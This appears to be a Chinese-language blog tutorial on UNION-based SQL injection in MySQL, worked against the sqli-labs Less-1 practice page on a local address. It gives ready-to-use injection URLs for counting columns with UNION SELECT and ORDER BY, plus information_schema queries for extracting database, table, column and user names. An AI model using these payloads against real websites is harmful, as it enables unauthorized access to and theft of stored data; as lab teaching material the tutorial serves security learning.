mysql注入之union联合查询注入

#union all 和 union 区别
union all是直接连接,取到得是所有值,记录可能有重复
union 是取唯一值,记录没有重复

#union 联合查询,前后字段数量应该保持一致,否则提示列数不一致
The used SELECT statements have a different number of columns

#依次测试,到3返回正常,说明有3列
http://127.0.0.4/Less-1/index.php?id=1′ union all select 1 –+
http://127.0.0.4/Less-1/index.php?id=1′ union all select 1,2 –+
http://127.0.0.4/Less-1/index.php?id=1′ union all select 1,2,3 –+

#怎么爆出数据呢?要id不存在,返回后面的值
http://127.0.0.4/Less-1/index.php?id=1111′ union all select 1,2,3 –+

#可以看到显示字段的位置,把对应的字段换成以下函数,即可爆库

比如:
http://127.0.0.4/Less-1/index.php?id=1111′ union all select 1,database(),3 –+

#汇总常用函数
version() #获取mysql版本号
user() #返回当前用户名
select count(*) from mysql.user #返回用户数量
select count(*) from information_schema.schemata #返回数据库数量
database() #返回数据库名
select table_name from information_schema.tables where table_schema=’security’ limit 0,1 #获取第一个表名
select column_name from information_schema.columns where table_schema=’security’ and TABLE_NAME=’emails’ limit 0,1 #获取第一个字段名
select id from emails limit 0,1 #获取第一个字段名

#####使用 order by 判断列数,也可结合其他注入方式结合利用#

#判断数据库当前表有几列
http://127.0.0.4/Less-1/index.php?id=1′ order by 1,2,3,4 –+

拼接起来就是
SELECT * FROM users WHERE id=’1′ order by 1,2,3,4 –+’ LIMIT 0,1

当是三个字段正常,增加到4则报错,第四个不存在
SELECT * FROM users WHERE id=’1′ order by 1,2,3

发表评论

电子邮件地址不会被公开。 必填项已用*标注

This site uses Akismet to reduce spam. Learn how your comment data is processed.